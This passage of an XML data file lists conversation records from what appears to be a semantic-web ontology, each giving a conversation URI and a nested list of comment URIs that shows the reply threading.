	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141402
</commentlist>
</conversation>
<conversation>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#conversation10_02_15_065232.8</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141514
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31143012
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31143250
</commentlist>
</conversation>
<conversation>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#conversation10_02_15_065232.1</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141314
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141572
--http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141928
---http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142292
---http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142704
---http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31144364
--http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31143258
--http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142662
--http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142104
--http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141650
--http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142822
--http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141822
---http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142286
---http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142474
--http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31151796
--http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31151346
--http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141636
---http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31143262
---http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142690
---http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141786
----http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142134
-----http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31150172
----http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142084
--http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31151884
--http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142260
--http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31151306
--http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31152454
--http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142234
---http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31145358
---http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31145122
</commentlist>
</conversation>
<conversation>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#conversation10_02_15_065232.2</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141624
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142210
</commentlist>
</conversation>
<conversation>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#conversation10_02_15_065232.0</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141558
</commentlist>
</conversation>
<conversation>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#conversation10_02_15_065232.18</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141356
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141694
</commentlist>
</conversation>
<conversation>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#conversation10_02_15_065232.12</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31147570
</commentlist>
</conversation>
<conversation>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#conversation10_02_15_065232.10</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31144646
</commentlist>
</conversation>
<conversation>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#conversation10_02_15_065232.19</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141404
</commentlist>
</conversation>
<conversation>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#conversation10_02_15_065232.13</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141346
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141678
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141524
--http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142728
--http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142146
--http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141622
---http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31144486
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141518
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141640
--http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31147330
--http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31143130
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142626
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142608
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141664
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141604
--http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31148250
--http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142418
--http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31146204
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141416
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141800
--http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31150092
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31143826
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141464
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142108
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141734
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142024
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141724
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31146284
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141644
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31145450
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141628
--http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31144076
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141496
--http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31143174
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31144682
</commentlist>
</conversation>
<conversation>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#conversation10_02_15_065232.11</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141670
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31146070
</commentlist>
</conversation>
<conversation>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#conversation10_02_15_065232.7</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141334
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141512
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142082
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141872
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141894
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141444
--http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141818
---http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31150602
---http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31147214
--http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31143698
---http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31147670
--http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31145292
--http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141750
--http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141908
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141564
--http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31178628
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141482
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141614
--http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142536
</commentlist>
</conversation>
<conversation>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#conversation10_02_15_065232.16</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141612
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142770
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31153616
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142168
--http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31146594
--http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31159062
--http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142842
--http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31143730
--http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31149038
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142658
</commentlist>
</conversation>
<conversation>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#conversation10_02_15_065232.5</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141542
</commentlist>
</conversation>
<conversation>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#conversation10_02_15_065232.14</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141394
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141594
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141528
</commentlist>
</conversation>
<conversation>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#conversation10_02_15_065232.17</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142594
</commentlist>
</conversation>
<conversation>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#conversation10_02_15_065232.15</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141582
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142170
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31158856
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141948
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141864
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142362
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31143990
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142510
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142968
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142692
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141846
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142066
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141852
--http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31153408
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31146878
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31151360
</commentlist>
</conversation>
<conversation>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#conversation10_02_15_065232.9</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142392
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31146836
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31145128
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31144748
--http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31145598
</commentlist>
</conversation>
